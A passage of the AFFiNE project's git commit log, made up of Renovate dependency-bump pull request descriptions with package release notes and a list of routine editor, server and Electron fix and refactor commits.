| [@smarttools/eslint-plugin-rxjs](https://redirect.github.com/DaveMBush/eslint-plugin-rxjs) | [`1.0.10` -> `1.0.12`](https://renovatebot.com/diffs/npm/@smarttools%2feslint-plugin-rxjs/1.0.10/1.0.12) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@smarttools%2feslint-plugin-rxjs/1.0.12?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@smarttools%2feslint-plugin-rxjs/1.0.12?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@smarttools%2feslint-plugin-rxjs/1.0.10/1.0.12?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@smarttools%2feslint-plugin-rxjs/1.0.10/1.0.12?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| @&#8203;types/dompurify | [`3.0.5` -> `3.2.0`](https://renovatebot.com/diffs/npm/@types%2fdompurify/3.0.5/3.2.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@types%2fdompurify/3.2.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@types%2fdompurify/3.2.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@types%2fdompurify/3.0.5/3.2.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@types%2fdompurify/3.0.5/3.2.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@types/node](https://redirect.github.com/DefinitelyTyped/DefinitelyTyped/tree/master/types/node) ([source](https://redirect.github.com/DefinitelyTyped/DefinitelyTyped/tree/HEAD/types/node)) | [`20.17.10` -> `20.17.11`](https://renovatebot.com/diffs/npm/@types%2fnode/20.17.10/20.17.11) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@types%2fnode/20.17.11?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@types%2fnode/20.17.11?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@types%2fnode/20.17.10/20.17.11?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@types%2fnode/20.17.10/20.17.11?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [happy-dom](https://redirect.github.com/capricorn86/happy-dom) | [`16.0.1` -> `16.3.0`](https://renovatebot.com/diffs/npm/happy-dom/16.0.1/16.3.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/happy-dom/16.3.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/happy-dom/16.3.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/happy-dom/16.0.1/16.3.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/happy-dom/16.0.1/16.3.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [react-i18next](https://redirect.github.com/i18next/react-i18next) | [`15.3.0` -> `15.4.0`](https://renovatebot.com/diffs/npm/react-i18next/15.3.0/15.4.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/react-i18next/15.4.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/react-i18next/15.4.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/react-i18next/15.3.0/15.4.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/react-i18next/15.3.0/15.4.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [shiki](https://redirect.github.com/shikijs/shiki) ([source](https://redirect.github.com/shikijs/shiki/tree/HEAD/packages/shiki)) | [`1.24.4` -> `1.25.1`](https://renovatebot.com/diffs/npm/shiki/1.24.4/1.25.1) | [![age](https://developer.mend.io/api/mc/badges/age/npm/shiki/1.25.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/shiki/1.25.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/shiki/1.24.4/1.25.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/shiki/1.24.4/1.25.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [typescript-eslint](https://typescript-eslint.io/packages/typescript-eslint) ([source](https://redirect.github.com/typescript-eslint/typescript-eslint/tree/HEAD/packages/typescript-eslint)) | [`8.18.2` -> `8.19.0`](https://renovatebot.com/diffs/npm/typescript-eslint/8.18.2/8.19.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/typescript-eslint/8.19.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/typescript-eslint/8.19.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/typescript-eslint/8.18.2/8.19.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/typescript-eslint/8.18.2/8.19.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) |

---

### Release Notes

<details>
<summary>DaveMBush/eslint-plugin-rxjs (@&#8203;smarttools/eslint-plugin-rxjs)</summary>

### [`v1.0.12`](https://redirect.github.com/DaveMBush/eslint-plugin-rxjs/releases/tag/v1.0.12): 1.0.12 (2025-01-01)

[Compare Source](https://redirect.github.com/DaveMBush/eslint-plugin-rxjs/compare/v1.0.11...v1.0.12)

Update dependencies
remove decamalize and replace with regex
remove unused file

### [`v1.0.11`](https://redirect.github.com/DaveMBush/eslint-plugin-rxjs/releases/tag/v1.0.11): 1.0.11 (2024-12-30)

[Compare Source](https://redirect.github.com/DaveMBush/eslint-plugin-rxjs/compare/v1.0.10...v1.0.11)

rollback to what was in 1.0.9 while trying to keep the intended fix for 1.0.10

</details>

<details>
<summary>capricorn86/happy-dom (happy-dom)</summary>

### [`v16.3.0`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v16.3.0)

[Compare Source](https://redirect.github.com/capricorn86/happy-dom/compare/v16.2.9...v16.3.0)

##### 🎨 Features

-   Adds support for child combinator to ":has()" pseudo selector (e.g. "span:has(> video)") - By **[@&#8203;capricorn86](https://redirect.github.com/capricorn86)** in task [#&#8203;1642](https://redirect.github.com/capricorn86/happy-dom/issues/1642)

### [`v16.2.9`](https://redirect.github.com/capricorn86/happy-dom/compare/v16.2.8...3082b7e010c4362e762d2d387d0316dd96b017cd)

[Compare Source](https://redirect.github.com/capricorn86/happy-dom/compare/v16.2.8...v16.2.9)

### [`v16.2.8`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v16.2.8)

[Compare Source](https://redirect.github.com/capricorn86/happy-dom/compare/v16.2.7...v16.2.8)

##### 👷‍♂️ Patch fixes

-   Fixes issue where the wrong event target was used when dispatching events on HTMLFormElement or HTMLSelectElement - By **[@&#8203;betterqualityassuranceuser](https://redirect.github.com/betterqualityassuranceuser)** in task [#&#8203;1628](https://redirect.github.com/capricorn86/happy-dom/issues/1628)

### [`v16.2.7`](https://redirect.github.com/capricorn86/happy-dom/compare/v16.2.6...78eb24034576e4ecc39a3633967799ea75bead50)

[Compare Source](https://redirect.github.com/capricorn86/happy-dom/compare/v16.2.6...v16.2.7)

### [`v16.2.6`](https://redirect.github.com/capricorn86/happy-dom/compare/v16.2.5...2c8a59619a35b55c398db27927027d9a1458a6a1)

[Compare Source](https://redirect.github.com/capricorn86/happy-dom/compare/v16.2.5...v16.2.6)

### [`v16.2.5`](https://redirect.github.com/capricorn86/happy-dom/compare/v16.2.4...675e306d2440cabdb7e2d75ef5a78ea47e506494)

[Compare Source](https://redirect.github.com/capricorn86/happy-dom/compare/v16.2.4...v16.2.5)

### [`v16.2.4`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v16.2.4)

[Compare Source](https://redirect.github.com/capricorn86/happy-dom/compare/v16.2.3...v16.2.4)

##### 👷‍♂️ Patch fixes

-   Fixes bug where the incorrect location is set after a redirect in `BrowserFrame.goto()` and `DetachedBrowserFrame.goto()` - By **[@&#8203;capricorn86](https://redirect.github.com/capricorn86)** in task [#&#8203;1627](https://redirect.github.com/capricorn86/happy-dom/issues/1627)

### [`v16.2.3`](https://redirect.github.com/capricorn86/happy-dom/compare/v16.2.2...f41ad67816008a068c5cefcbac31b2fda7d2f4e2)

[Compare Source](https://redirect.github.com/capricorn86/happy-dom/compare/v16.2.2...v16.2.3)

### [`v16.2.2`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v16.2.2)

[Compare Source](https://redirect.github.com/capricorn86/happy-dom/compare/v16.2.1...v16.2.2)

##### 👷‍♂️ Patch fixes

-   Improves error when a Symbol object is being sent to `querySelector()` or `querySelectorAll()` as selector - By **[@&#8203;chocolateboy](https://redirect.github.com/chocolateboy)** in task [#&#8203;1640](https://redirect.github.com/capricorn86/happy-dom/issues/1640)

### [`v16.2.1`](https://redirect.github.com/capricorn86/happy-dom/compare/v16.2.0...f7b6ac6bd6e3cfc843c9787ce935f348f0c40363)

[Compare Source](https://redirect.github.com/capricorn86/happy-dom/compare/v16.2.0...v16.2.1)

### [`v16.2.0`](https://redirect.github.com/capricorn86/happy-dom/compare/v16.1.0...5629a74693e19b6a7661a4242b139bf8524c6247)

[Compare Source](https://redirect.github.com/capricorn86/happy-dom/compare/v16.1.0...v16.2.0)

### [`v16.1.0`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v16.1.0)

[Compare Source](https://redirect.github.com/capricorn86/happy-dom/compare/v16.0.1...v16.1.0)

##### 🎨 Features

-   Add support for using whitespace-separated list to `getElementsByClassName()` - By **[@&#8203;kylehalleman](https://redirect.github.com/kylehalleman)** in task [#&#8203;1551](https://redirect.github.com/capricorn86/happy-dom/issues/1551)

</details>

<details>
<summary>i18next/react-i18next (react-i18next)</summary>

### [`v15.4.0`](https://redirect.github.com/i18next/react-i18next/blob/HEAD/CHANGELOG.md#1540)

[Compare Source](https://redirect.github.com/i18next/react-i18next/compare/v15.3.0...v15.4.0)

feat: add meta with codes on warnings to allow conditional logging [1826](https://redirect.github.com/i18next/react-i18next/pull/1826)

</details>

<details>
<summary>shikijs/shiki (shiki)</summary>

### [`v1.25.1`](https://redirect.github.com/shikijs/shiki/releases/tag/v1.25.1)

#####    🐞 Bug Fixes

-   Bundle externals  -  by [@&#8203;antfu](https://redirect.github.com/antfu) [<samp>(4e173)</samp>](https://redirect.github.com/shikijs/shiki/commit/4e173fe1)

#####     [View changes on GitHub](https://redirect.github.com/shikijs/shiki/compare/v1.25.0...v1.25.1)

### [`v1.25.0`](https://redirect.github.com/shikijs/shiki/releases/tag/v1.25.0)

[Compare Source](https://redirect.github.com/shikijs/shiki/compare/v1.24.4...v1.25.0)

#####    🚀 Features

-   Introduce `@shikijs/themes` and `@shikijs/langs` packages  -  by [@&#8203;antfu](https://redirect.github.com/antfu) in [https://github.com/shikijs/shiki/issues/879](https://redirect.github.com/shikijs/shiki/issues/879) [<samp>(32ce2)</samp>](https://redirect.github.com/shikijs/shiki/commit/32ce29fe)
-   Update grammars and `oniguruma-to-es`  -  by [@&#8203;antfu](https://redirect.github.com/antfu) [<samp>(3cdcb)</samp>](https://redirect.github.com/shikijs/shiki/commit/3cdcbac4)
-   **engine-js**: Update deps, support new languages  -  by [@&#8203;slevithan](https://redirect.github.com/slevithan) in [https://github.com/shikijs/shiki/issues/875](https://redirect.github.com/shikijs/shiki/issues/875) [<samp>(c3524)</samp>](https://redirect.github.com/shikijs/shiki/commit/c3524b2a)

#####     [View changes on GitHub](https://redirect.github.com/shikijs/shiki/compare/v1.24.4...v1.25.0)

</details>

<details>
<summary>typescript-eslint/typescript-eslint (typescript-eslint)</summary>

### [`v8.19.0`](https://redirect.github.com/typescript-eslint/typescript-eslint/blob/HEAD/packages/typescript-eslint/CHANGELOG.md#8190-2024-12-30)

[Compare Source](https://redirect.github.com/typescript-eslint/typescript-eslint/compare/v8.18.2...v8.19.0)

This was a version bump only for typescript-eslint to align it with other projects, there were no code changes.

You can read about our [versioning strategy](https://main--typescript-eslint.netlify.app/users/versioning) and [releases](https://main--typescript-eslint.netlify.app/users/releases) on our website.

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

👻 **Immortal**: This PR will be recreated if closed unmerged. Get [config help](https://redirect.github.com/renovatebot/renovate/discussions) if that's undesired.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOS44NS4wIiwidXBkYXRlZEluVmVyIjoiMzkuODUuMCIsInRhcmdldEJyYW5jaCI6ImNhbmFyeSIsImxhYmVscyI6WyJkZXBlbmRlbmNpZXMiXX0=-->
2025-01-02 07:42:06 +00:00
Saul-Mirone
ad422d2f05 refactor(editor): move crud to doc (#9479) 2025-01-02 07:27:08 +00:00
Saul-Mirone
be387a6f33 refactor(editor): set readonly (#9475) 2025-01-02 04:02:15 +00:00
forehalo
d0983696c0 fix(native): round trip timestamp to millis (#9468) 2025-01-02 02:47:15 +00:00
forehalo
9da2844225 feat(infra): add not-condition to orm (#9466) 2025-01-02 02:32:16 +00:00
Saul-Mirone
4be031b311 chore(editor): disable legacy validation (#9473) 2025-01-01 13:45:37 +00:00
Saul-Mirone
4b21dac4f8 chore: remove unused methods on slot (#9472) 2025-01-01 12:21:41 +00:00
Oleg
ade764b188 fix(editor): too many digits after decimal point in table calculations (#9471) 2025-01-01 18:19:59 +08:00
doodlewind
8227d68953 refactor(core): remove abort event error on init (#9465)
Following error always throw on Affine init, which is actually an `Event` from abort controller that can be handled in upstream.

![image](https://github.com/user-attachments/assets/50c25e5e-4a9c-45e0-b756-6b0f47390733)
2025-01-01 01:22:29 +00:00
fundon
d97c4b5632 fix(editor): wrong style of mindmap in dark mode (#9462)
<div class='graphite__hidden'>
          <div>🎥 Video uploaded on Graphite:</div>
            <a href="https://app.graphite.dev/media/video/8ypiIKZXudF5a0tIgIzf/87aa060a-12c3-46dc-85fd-28980ba5b2bd.mov">
              <img src="https://app.graphite.dev/api/v1/graphite/video/thumbnail/8ypiIKZXudF5a0tIgIzf/87aa060a-12c3-46dc-85fd-28980ba5b2bd.mov">
            </a>
          </div>
<video src="https://graphite-user-uploaded-assets-prod.s3.amazonaws.com/8ypiIKZXudF5a0tIgIzf/87aa060a-12c3-46dc-85fd-28980ba5b2bd.mov">Screen Recording 2024-12-31 at 18.05.36.mov</video>
2024-12-31 11:54:13 +00:00
Saul-Mirone
36c1b103df test(editor): remove jsx snapshot (#9463) 2024-12-31 10:27:12 +00:00
Saul-Mirone
6c33eaace0 refactor(editor): extract frame title widget (#9458) 2024-12-31 10:12:03 +00:00
DarkSky
f64d62d869 fix(server): distinguish local mutex correctly (#9444) 2024-12-31 17:55:08 +08:00
pengx17
1c6c2194c4 fix(core): should use doc index for at menu config (#9430) 2024-12-31 09:31:07 +00:00
pengx17
e3d681306c fix(core): split view reordering crash (#9461)
a workaround fix AF-1940
2024-12-31 09:14:04 +00:00
liuyi
43adb85e7d fix(core): wrong fetch injected to snapshot downloader (#9460) 2024-12-31 08:51:19 +00:00
Peng Xiao
e8aabed3fa docs(server): update developing server md (#9457) 2024-12-31 16:35:35 +08:00
L-Sun
b51de2ac4c fix(editor): add index checking to selected elements array (#9453)
Close https://toeverything.sentry.io/issues/6187666983/?alert_rule_id=15031714&alert_type=issue&notification_uuid=fe3f4b9d-1e86-420e-a715-c3ca0fa932e4&project=4506307500179456&referrer=slack
2024-12-31 08:05:13 +00:00
Saul-Mirone
597b631918 refactor(editor): extract color picker component (#9456) 2024-12-31 07:23:37 +00:00
liuyi
353eaf7fbe chore: no mangle classnames for better debugging (#9459) 2024-12-31 07:22:38 +00:00
Fangdun Tsai
83915c2e90 fix(editor): white-space should be set to normal in tooltip (#9454) 2024-12-31 15:03:58 +08:00
liuyi
8732801f06 fix(core): wrong auth i18n keys (#9455) 2024-12-31 15:03:37 +08:00
Saul-Mirone
9dc1b5e25b refactor(editor): remove duplicated method (#9451) 2024-12-31 06:32:12 +00:00
Saul-Mirone
1e34ec8487 refactor(editor): extract data view block (#9452) 2024-12-31 06:15:35 +00:00
Saul-Mirone
0f03c3fc5e fix(editor): missing resource files in exported snapshot zip (#9450)
Closes: [BS-2280](https://linear.app/affine-design/issue/BS-2280/导出-zip-snapshot-丢失-blob)
2024-12-31 05:13:44 +00:00
forehalo
7aba836dbe fix(server): cant specify subscription to onetime payment (#9448) 2024-12-31 04:51:06 +00:00
Saul-Mirone
09427e846e refactor(editor): extract markdown adapter (#9443) 2024-12-31 04:13:02 +00:00
doodlewind
adf14d11d5 fix(editor): chat panel render warning (#9446)
Fixed the updated warning of both `chat-panel` and `chat-panel-messages`

![image](https://github.com/user-attachments/assets/73f30e45-119a-4899-bf05-84f8f64b944b)
2024-12-31 03:59:02 +00:00
CatsJuice
7c41775c7f feat(infra): orm f.enum() support (#9323) 2024-12-31 03:44:58 +00:00
forehalo
9c119e6505 chore: server dev scripts (#9445) 2024-12-31 03:31:05 +00:00
pengx17
887732179e feat(electron): expose electron apis to web worker (#9441)
fix AF-2044
2024-12-31 03:17:03 +00:00
Peng Xiao
6883cc2ded fix(electron): page history api fetch issue (#9440) 2024-12-31 10:19:25 +08:00
doodlewind
2b47625deb refactor(editor): render presentation toolbar on demand (#9442) 2024-12-31 02:01:35 +00:00
pengx17
79e006467c fix(core): split view solo view crash (#9432) 2024-12-30 16:54:45 +00:00
Saul-Mirone
397a48380e refactor(editor): simplify tsconfig (#9439) 2024-12-30 16:15:34 +00:00
Saul-Mirone
8d269c838d fix(editor): touch event browser copability (#9437)
Fix: https://toeverything.sentry.io/issues/6180659644/events/82bf2e7bb8fc4ad69678261522b7fdf3/
2024-12-30 14:59:10 +00:00
Saul-Mirone
ade317d26b fix(editor): caret can be null in firefox (#9438)
Fix: https://toeverything.sentry.io/issues/6185588184/events/b205b6caf0224b51882c1d10bb3dd9bc/
2024-12-30 14:44:11 +00:00
Saul-Mirone
a9f890017e fix(editor): missing dependencies (#9436) 2024-12-30 14:10:37 +00:00
Saul-Mirone
c28f918527 refactor(editor): extract database block (#9435)
Part of: [BS-2269](https://linear.app/affine-design/issue/BS-2269/%E8%BF%81%E7%A7%BB-database-block-%E5%88%B0-affine-%E6%96%87%E4%BB%B6%E5%A4%B9%E4%B8%8B%E5%B9%B6%E5%BC%80%E5%90%AF-nouncheckedindexedaccess)
2024-12-30 12:59:57 +00:00
Saul-Mirone
e526106f45 refactor(editor): extract surface ref block (#9433) 2024-12-30 12:09:26 +00:00
doodlewind
d4053a345e perf(editor): reduce per frame viewport dom ops (#9431)
Currently when panning / zooming on whiteboard, both position and transform of each block component are updated per frame. The positioning part lead to heavy layout costs, which can be reduced.

Before (~35fps):

![image](https://github.com/user-attachments/assets/3f6d8a76-26a5-4ed6-a64c-b519a453cbc0)

After (~50fps):

![image](https://github.com/user-attachments/assets/43bc4b0a-db01-4526-8400-2ec95c3bdd0b)

Tested environment: TibetTravel templet, Windows 11, i5-1130G7 1.1GHz
2024-12-30 10:50:33 +00:00
LongYinan
8b3d99929f ci: fix Windows Rust cache path 2024-12-30 18:49:27 +08:00
renovate
a85707a2e7 chore: bump up oxlint version to v0.15.4 (#9161)
This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| [oxlint](https://oxc.rs) ([source](https://redirect.github.com/oxc-project/oxc/tree/HEAD/npm/oxlint)) | [`0.15.0` -> `0.15.4`](https://renovatebot.com/diffs/npm/oxlint/0.15.0/0.15.4) | [![age](https://developer.mend.io/api/mc/badges/age/npm/oxlint/0.15.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/oxlint/0.15.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/oxlint/0.15.0/0.15.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/oxlint/0.15.0/0.15.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) |

---

### Release Notes

<details>
<summary>oxc-project/oxc (oxlint)</summary>

### [`v0.15.4`](https://redirect.github.com/oxc-project/oxc/releases/tag/oxlint_v0.15.4): oxlint v0.15.4

[Compare Source](https://redirect.github.com/oxc-project/oxc/compare/oxlint_v0.15.3...oxlint_v0.15.4)

#### \[0.15.4] - 2024-12-30

-   [`ed75e42`](https://redirect.github.com/oxc-project/oxc/commit/ed75e42) semantic: \[**BREAKING**] Make SymbolTable fields `pub(crate)` instead of `pub` ([#&#8203;7999](https://redirect.github.com/oxc-project/oxc/issues/7999)) (Boshen)

##### Features

-   [`47cea9a`](https://redirect.github.com/oxc-project/oxc/commit/47cea9a) linter: Implement `eslint/no-extra-label` ([#&#8203;8181](https://redirect.github.com/oxc-project/oxc/issues/8181)) (Anson Heung)
-   [`ef76e28`](https://redirect.github.com/oxc-project/oxc/commit/ef76e28) linter: Implement `eslint/no-multi-assign` ([#&#8203;8158](https://redirect.github.com/oxc-project/oxc/issues/8158)) (Anson Heung)
-   [`384858b`](https://redirect.github.com/oxc-project/oxc/commit/384858b) linter: Implement `jsx-a11y/no-noninteractive-tabindex`  ([#&#8203;8167](https://redirect.github.com/oxc-project/oxc/issues/8167)) (Tyler Earls)
-   [`afc21a6`](https://redirect.github.com/oxc-project/oxc/commit/afc21a6) linter: Implement `eslint/vars-on-top` ([#&#8203;8157](https://redirect.github.com/oxc-project/oxc/issues/8157)) (Yuichiro Yamashita)
-   [`65796c4`](https://redirect.github.com/oxc-project/oxc/commit/65796c4) linter: Implement `eslint/prefer-rest-params` ([#&#8203;8155](https://redirect.github.com/oxc-project/oxc/issues/8155)) (Yuichiro Yamashita)
-   [`5234d96`](https://redirect.github.com/oxc-project/oxc/commit/5234d96) linter: Implement `eslint/no-nested-ternary` ([#&#8203;8150](https://redirect.github.com/oxc-project/oxc/issues/8150)) (Yuichiro Yamashita)
-   [`1c5db72`](https://redirect.github.com/oxc-project/oxc/commit/1c5db72) linter: Implement eslint/no-labels ([#&#8203;8131](https://redirect.github.com/oxc-project/oxc/issues/8131)) (Anson Heung)
-   [`0b04288`](https://redirect.github.com/oxc-project/oxc/commit/0b04288) linter: Move `import/named` to nursery ([#&#8203;8068](https://redirect.github.com/oxc-project/oxc/issues/8068)) (Boshen)

##### Bug Fixes

-   [`0794bee`](https://redirect.github.com/oxc-project/oxc/commit/0794bee) editor/vscode: Set minimum supported ver. to `^1.93.0` ([#&#8203;8182](https://redirect.github.com/oxc-project/oxc/issues/8182)) (Pavel Smirnov)
-   [`f3050d4`](https://redirect.github.com/oxc-project/oxc/commit/f3050d4) linter: Exclude svelte files from `no_unused_vars` rule ([#&#8203;8170](https://redirect.github.com/oxc-project/oxc/issues/8170)) (Yuichiro Yamashita)
-   [`faf7464`](https://redirect.github.com/oxc-project/oxc/commit/faf7464) linter: Disable rule `react/rules-of-hook` by file extension ([#&#8203;8168](https://redirect.github.com/oxc-project/oxc/issues/8168)) (Alexander S.)
-   [`1171e00`](https://redirect.github.com/oxc-project/oxc/commit/1171e00) linter: Disable `react/rules-of-hooks` for vue and svelte files ([#&#8203;8165](https://redirect.github.com/oxc-project/oxc/issues/8165)) (Alexander S.)
-   [`1b9a5ba`](https://redirect.github.com/oxc-project/oxc/commit/1b9a5ba) linter: False positiver in private member expr in oxc/const-comparison ([#&#8203;8164](https://redirect.github.com/oxc-project/oxc/issues/8164)) (camc314)
-   [`6bd9ddb`](https://redirect.github.com/oxc-project/oxc/commit/6bd9ddb) linter: False positive in `typescript/ban-tslint-comment` ([#&#8203;8094](https://redirect.github.com/oxc-project/oxc/issues/8094)) (dalaoshu)
-   [`10a1fd5`](https://redirect.github.com/oxc-project/oxc/commit/10a1fd5) linter: Rule: `no-restricted-imports` support option `patterns` with `group` key ([#&#8203;8050](https://redirect.github.com/oxc-project/oxc/issues/8050)) (Alexander S.)
-   [`b3f38ae`](https://redirect.github.com/oxc-project/oxc/commit/b3f38ae) linter: Rule `no-restricted-imports`: support option `allowImportNames` ([#&#8203;8002](https://redirect.github.com/oxc-project/oxc/issues/8002)) (Alexander S.)
-   [`340cc90`](https://redirect.github.com/oxc-project/oxc/commit/340cc90) linter: Rule `no-restricted-imports`: fix option "importNames" ([#&#8203;7943](https://redirect.github.com/oxc-project/oxc/issues/7943)) (Alexander S.)
-   [`ec2128e`](https://redirect.github.com/oxc-project/oxc/commit/ec2128e) linter: Fix line calculation for `eslint/max-lines` in diagnostics ([#&#8203;7962](https://redirect.github.com/oxc-project/oxc/issues/7962)) (Dmitry Zakharov)
-   [`79af100`](https://redirect.github.com/oxc-project/oxc/commit/79af100) semantic: Reference flags not correctly resolved when after an export stmt ([#&#8203;8134](https://redirect.github.com/oxc-project/oxc/issues/8134)) (camc314)

##### Performance

-   [`d8d2ec6`](https://redirect.github.com/oxc-project/oxc/commit/d8d2ec6) linter: Run rules which require typescript syntax only when source type is actually typescript ([#&#8203;8166](https://redirect.github.com/oxc-project/oxc/issues/8166)) (Alexander S.)
-   [`2736657`](https://redirect.github.com/oxc-project/oxc/commit/2736657) semantic: Allocate `UnresolvedReferences` in allocator ([#&#8203;8046](https://redirect.github.com/oxc-project/oxc/issues/8046)) (Boshen)

##### Refactor

-   [`de8246b`](https://redirect.github.com/oxc-project/oxc/commit/de8246b) language_server: Move structs into own file ([#&#8203;8026](https://redirect.github.com/oxc-project/oxc/issues/8026)) (Alexander S.)
-   [`774babb`](https://redirect.github.com/oxc-project/oxc/commit/774babb) linter: Read `exported_bindings_from_star_export` lazily ([#&#8203;8062](https://redirect.github.com/oxc-project/oxc/issues/8062)) (Boshen)
-   [`547c102`](https://redirect.github.com/oxc-project/oxc/commit/547c102) linter: Use `RwLock<FxHashMap>` instead of `FxDashMap` for module record data ([#&#8203;8061](https://redirect.github.com/oxc-project/oxc/issues/8061)) (Boshen)
-   [`952d7e4`](https://redirect.github.com/oxc-project/oxc/commit/952d7e4) linter: Rename `flat.rs` to `config.rs` ([#&#8203;8033](https://redirect.github.com/oxc-project/oxc/issues/8033)) (camc314)
-   [`50848ed`](https://redirect.github.com/oxc-project/oxc/commit/50848ed) linter: Simplify `ConfigStore` to prep for nested configs ([#&#8203;8032](https://redirect.github.com/oxc-project/oxc/issues/8032)) (camc314)
-   [`b2a4a78`](https://redirect.github.com/oxc-project/oxc/commit/b2a4a78) linter: Remove unused `with_rules` and `set_rule` methods ([#&#8203;8029](https://redirect.github.com/oxc-project/oxc/issues/8029)) (camc314)
-   [`6da0b21`](https://redirect.github.com/oxc-project/oxc/commit/6da0b21) oxlint: Remove unused `git.rs` ([#&#8203;7990](https://redirect.github.com/oxc-project/oxc/issues/7990)) (Boshen)
-   [`58e7777`](https://redirect.github.com/oxc-project/oxc/commit/58e7777) oxlint: Remove extra if check in `Walkdir` ([#&#8203;7989](https://redirect.github.com/oxc-project/oxc/issues/7989)) (Boshen)
-   [`02f968d`](https://redirect.github.com/oxc-project/oxc/commit/02f968d) semantic: Change `Bindings` to a plain `FxHashMap` ([#&#8203;8019](https://redirect.github.com/oxc-project/oxc/issues/8019)) (Boshen)

### [`v0.15.3`](https://redirect.github.com/oxc-project/oxc/releases/tag/oxlint_v0.15.3): oxlint v0.15.3

[Compare Source](https://redirect.github.com/oxc-project/oxc/compare/oxlint_v0.15.2...oxlint_v0.15.3)

#### \[0.15.3] - 2024-12-17

##### Features

-   [`25ddb35`](https://redirect.github.com/oxc-project/oxc/commit/25ddb35) linter: Add the import/no_named_default rule ([#&#8203;7902](https://redirect.github.com/oxc-project/oxc/issues/7902)) (Guillaume Piedigrossi)
-   [`ee26b44`](https://redirect.github.com/oxc-project/oxc/commit/ee26b44) linter: Enhance `get_element_type` to resolve more element types ([#&#8203;7885](https://redirect.github.com/oxc-project/oxc/issues/7885)) (dalaoshu)

##### Bug Fixes

-   [`6f41d92`](https://redirect.github.com/oxc-project/oxc/commit/6f41d92) linter: False positive in `unicorn/no-useless-spread` ([#&#8203;7940](https://redirect.github.com/oxc-project/oxc/issues/7940)) (dalaoshu)
-   [`0867b40`](https://redirect.github.com/oxc-project/oxc/commit/0867b40) linter: Fix configuration parser for `no-restricted-imports` ([#&#8203;7921](https://redirect.github.com/oxc-project/oxc/issues/7921)) (Alexander S.)
-   [`9c9b73d`](https://redirect.github.com/oxc-project/oxc/commit/9c9b73d) linter: Fix incorrect fixer for `prefer-regexp-test` ([#&#8203;7898](https://redirect.github.com/oxc-project/oxc/issues/7898)) (Cameron)
